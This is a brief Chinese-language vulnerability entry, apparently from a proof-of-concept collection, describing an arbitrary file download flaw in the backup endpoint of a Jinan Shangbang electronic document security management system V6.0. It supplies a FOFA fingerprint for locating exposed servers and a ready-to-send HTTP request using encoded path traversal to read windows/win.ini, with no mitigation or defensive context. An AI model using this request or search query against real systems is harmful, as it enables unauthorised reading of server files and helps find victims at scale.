# 电子文档安全管理系统V6.0接口backup存在任意文件下载漏洞

济南上邦电子科技有限公司电子文档安全管理系统 V6.0 resources/backup存在任意文件下载漏洞，攻击者可通过该漏洞获取服务器所有文件信息

## fofa

```javascript
body="docsafe/docsafe.nocache.js"
```

## poc

```javascript
GET /resources/backup//..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows/win.ini HTTP/1.1
Host: 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
```